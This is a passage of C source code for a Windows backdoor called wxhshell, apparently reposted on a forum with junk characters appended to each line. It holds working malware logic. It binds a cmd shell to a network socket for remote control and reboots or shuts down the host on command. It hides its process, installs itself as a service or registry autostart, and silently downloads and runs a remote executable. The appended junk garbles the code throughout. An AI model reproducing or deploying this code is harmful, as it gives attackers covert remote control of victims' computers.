  case '?': { Dli^2hD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ld,5iBiO:  
    break; B 2 .q3T  
  } MZSxQ8  
  // 安装 Ti;Ijcq8  
  case 'i': { fKa\7{R  
    if(Install()) xg{HQQ|TC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?|* LT$%7  
    else -(JUd4#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {,j6\Cj4  
    break; Pe~`16f  
    } k)FmDX  
  // 卸载 kF V7l  
  case 'r': { LDy<k=;o  
    if(Uninstall()) @TA9V@?)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6ZqgY1  
    else 0gF!!m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cM&'[CI  
    break; HT_TP q  
    } Y/8K;U|  
  // 显示 wxhshell 所在路径 $H'X V"<o  
  case 'p': { %YlTF\-  
    char svExeFile[MAX_PATH]; MY nH2w]  
    strcpy(svExeFile,"\n\r"); @gBE{)Fj  
      strcat(svExeFile,ExeFile); q1hMmMi  
        send(wsh,svExeFile,strlen(svExeFile),0); Q7o5R{.oJ  
    break; N 6O8Wn  
    } \Z-2leL)j  
  // 重启 :H[\;Z1_  
  case 'b': { f.pkQe(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `Xc irfp  
    if(Boot(REBOOT))  QI!i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #S+Z$DQD  
    else { L8vOBI7N  
    closesocket(wsh); -#A:`/22  
    ExitThread(0); c;I, O  
    } 3rf#Q }"  
    break; ^!;=6}YR  
    } bYh9sO/l  
  // 关机 EkKnUD  
  case 'd': { g "!\\:M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -lRhz!E]  
    if(Boot(SHUTDOWN)) L$Z(+6m5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (%Oe_*e}Y  
    else { ^2M!*p&h  
    closesocket(wsh); ~j @UlP  
    ExitThread(0); <-jGqUN_I  
    } fjDpwb:x)  
    break; /k"hH\Pp  
    } K{ }4zuZ  
  // 获取shell L]2< &%N2  
  case 's': { R+$8w2#  
    CmdShell(wsh); 76#.F  
    closesocket(wsh); *"G8  
    ExitThread(0); N^elVu4 K  
    break; ^4`&EF  
  } _& 4its  
  // 退出 ^ZQCIS-R  
  case 'x': { LE c8NQs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DQ=N1pft2v  
    CloseIt(wsh); A@$fb}CF  
    break; iIU( C.I  
    } FyEDt@J  
  // 离开 %N~C vN@T  
  case 'q': { VVrwOo CN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e.6Dl_  
    closesocket(wsh); `h;}3r#R{  
    WSACleanup(); BxX$5u  
    exit(1); 6;uBZ &g  
    break; -%uy63LbHF  
        } 5&4F,v[zp  
  } qZ G-Lh  
  } 4&}\BU*  
dB|Te"6  
  // 提示信息 u2`xC4>c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NR/-m7#-  
} |Odu4 Q  
  } .Y/-8H-3v  
m(3);)d  
  return; T~Yg5J  
} W<gD6+=8  
TJ2/?p\x  
// shell模块句柄 iiwpSGFl]  
int CmdShell(SOCKET sock) uaQ&&5%%J  
{ h1%y:[_  
STARTUPINFO si; ?\yB)Nd y  
ZeroMemory(&si,sizeof(si)); \!X?zR_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j3 P RAe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rx. rj~  
PROCESS_INFORMATION ProcessInfo; wd`R4CKhP]  
char cmdline[]="cmd"; \FI^ Vk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^~I @ spR4  
  return 0; X"J%R/f  
} iE{Oit^aG  
 $o+&Y5:  
// 自身启动模式 ~&[u]u[  
int StartFromService(void) V/UB9)i+  
{ ._BB+G  
typedef struct <jL#>L%%  
{ gLCz]D.'  
  DWORD ExitStatus; $T)d!$  
  DWORD PebBaseAddress; vXPuyR<J  
  DWORD AffinityMask; A1!:BC  
  DWORD BasePriority; #6FaIq92V  
  ULONG UniqueProcessId; ECdfLn*c  
  ULONG InheritedFromUniqueProcessId; QBjY&(vY  
}   PROCESS_BASIC_INFORMATION; >DmRP7v   
chwh0J;  
PROCNTQSIP NtQueryInformationProcess; vadM1c*z  
0O ['w<_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !`h~`-]O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :+pPr Gj"  
=w,(M  
  HANDLE             hProcess; (j`l5r#X#/  
  PROCESS_BASIC_INFORMATION pbi; ArdJ."  
8c?8X=|D7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Alh?0Fk3)  
  if(NULL == hInst ) return 0; v j@V !j?  
) hPVX()O!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (E]"Srwh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KH)pJG|NY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3z$\&& BR  
@S}|Ccfc_  
  if (!NtQueryInformationProcess) return 0; 0XQ-   
o;'4c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lvig>0:M  
  if(!hProcess) return 0; j) <[j&OWw  
iDvpXn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h&'J+b  
A@ { !:_55  
  CloseHandle(hProcess); ][ N) 2_^M  
/op/g]O}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RQJ9MG w  
if(hProcess==NULL) return 0; .hnF]_QQ  
.kzms  
HMODULE hMod; ;W4:#/~14  
char procName[255]; a:xgjUt&5  
unsigned long cbNeeded; {N@Y<=+:  
JbVi1?c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6A@Lj*:2m  
%1@.7 uTN  
  CloseHandle(hProcess); 0<"tl0p_  
:=B[y D!  
if(strstr(procName,"services")) return 1; // 以服务启动 z+2u-jG  
=1&}t%<X  
  return 0; // 注册表启动 OUKj@~T  
} {9,R@>R  
8s&2gn1  
// 主模块 _.hIv8V  
int StartWxhshell(LPSTR lpCmdLine) qIUC2,&g  
{ zVn*!c  
  SOCKET wsl; GHqBnE{B  
BOOL val=TRUE; hG[4O3jo\  
  int port=0; f#2#g%x  
  struct sockaddr_in door; /TG| B Eb  
 2w;G4  
  if(wscfg.ws_autoins) Install(); EsNk<Ra  
PH{ c,  
port=atoi(lpCmdLine); 4jPwL|#  
{K6Kx36  
if(port<=0) port=wscfg.ws_port; z4 nou>  
\Z8Y(]6*  
  WSADATA data; L)=8mF.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %!#rrt,F  
=`ywd]\7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A1Ibx|K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %j!z\pa  
  door.sin_family = AF_INET; FW5*_%J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T[mw}%3<v  
  door.sin_port = htons(port); 9O2a | d  
" -<}C%C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FK?mS>G6  
closesocket(wsl); </2,2AV4q*  
return 1; 1XC*|  
} Zt7hzW  
CiHn;-b;  
  if(listen(wsl,2) == INVALID_SOCKET) { B1up^(?  
closesocket(wsl); o4U]lK$  
return 1; y`T--v3mI  
} Y|Nfwqz  
  Wxhshell(wsl); a'o}u,e5  
  WSACleanup(); ,OFq'}q  
w@4t$bd7  
return 0; s n=zh1 A  
W'm!f  
} !e9N3Ga  
]Sk#a-^~  
// 以NT服务方式启动 $&c<T4$d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R'jUS7]Y  
{ o$^O<zL  
DWORD   status = 0; )jp{*?^\  
  DWORD   specificError = 0xfffffff; 0:PH[\Z  
:$+D 2*(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c g3Cl[s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vEX|Q\b6'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wGZ>iLe:  
  serviceStatus.dwWin32ExitCode     = 0; m.;{ 8AM%f  
  serviceStatus.dwServiceSpecificExitCode = 0; -O>^eMWywo  
  serviceStatus.dwCheckPoint       = 0; -%7Jj;yA  
  serviceStatus.dwWaitHint       = 0; jcT{ugpq  
-d\AiT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {yul.m  
  if (hServiceStatusHandle==0) return; iDyMWlV  
yd{Y}.  
status = GetLastError(); K*J4&5?/  
  if (status!=NO_ERROR) dVjcK/T<  
{ MxFt;GgE8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `ja`#%^\u  
    serviceStatus.dwCheckPoint       = 0; #r78Ym'aI  
    serviceStatus.dwWaitHint       = 0; }D&"z8mP  
    serviceStatus.dwWin32ExitCode     = status; p =#'B*'w  
    serviceStatus.dwServiceSpecificExitCode = specificError; j=!(F`/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a 5~G  
    return; /gMa"5?,  
  } )M&I)In'  
v^FV t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O?+tY y?  
  serviceStatus.dwCheckPoint       = 0; ~ 4p]E'b  
  serviceStatus.dwWaitHint       = 0; V NJDl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P':]A{<Z  
} ^59YfC<f  
[esX{6,i  
// 处理NT服务事件,比如:启动、停止 uyS^W'fF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {7j6$.7J$&  
{ 3N)Ycf8  
switch(fdwControl) :G6 xJlE|  
{ ~_/<PIm  
case SERVICE_CONTROL_STOP: \Nh^Ig   
  serviceStatus.dwWin32ExitCode = 0; D]LFX/hlH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; o|Yn(xu-  
  serviceStatus.dwCheckPoint   = 0; fF9;lWt  
  serviceStatus.dwWaitHint     = 0; P22y5z~  
  { DKaG?Y,*p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )U"D4j*p  
  } {d *qlztO  
  return; }+QhW]nO{F  
case SERVICE_CONTROL_PAUSE: 6_ 33*/>=c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BIHHRCe:@n  
  break; \]~kyy  
case SERVICE_CONTROL_CONTINUE: ePPp)=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; f<$K.i  
  break; Dn{19V. L  
case SERVICE_CONTROL_INTERROGATE: TA-(_jm  
  break; p: Q%Lg_I  
}; TV[6+i*#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tXb7~aO  
} `gBXeG2fn  
a3(7{,Ew  
// 标准应用程序主函数 "`V"2zZlj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^bY^x+d  
{ o0-fUCmC  
t2!$IHE:  
// 获取操作系统版本 h~^qG2TYWq  
OsIsNt=GetOsVer(); ;_Of`C+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %i]uW\~U  
v"Ud mv"  
  // 从命令行安装 D KMbs   
  if(strpbrk(lpCmdLine,"iI")) Install(); ,~ia$vI}R  
"\R@l Ux.Y  
  // 下载执行文件 ]w&?k:y>  
if(wscfg.ws_downexe) { t Sh}0N)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z wniS6R1  
  WinExec(wscfg.ws_filenam,SW_HIDE); k8t Na@H  
} 0W<nE[U  
hD9' `SQ  
if(!OsIsNt) { X&;]  
// 如果时win9x,隐藏进程并且设置为注册表启动 $ uIwRG <  
HideProc(); pyb}ha  
StartWxhshell(lpCmdLine); I,`D&   
} h9)]N&07b  
else ^r?sgJ  
  if(StartFromService()) ]Pg?(lr6)  
  // 以服务方式启动 ,~=z_G`R  
  StartServiceCtrlDispatcher(DispatchTable); 9< 0$mE^:  
else V+"*A  
  // 普通方式启动 GQ8D j!8  
  StartWxhshell(lpCmdLine); H(*=9  
Pc\4 QvQ8  
return 0; _ UVX  
}
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只看该作者 1 发表于: 2006-10-10
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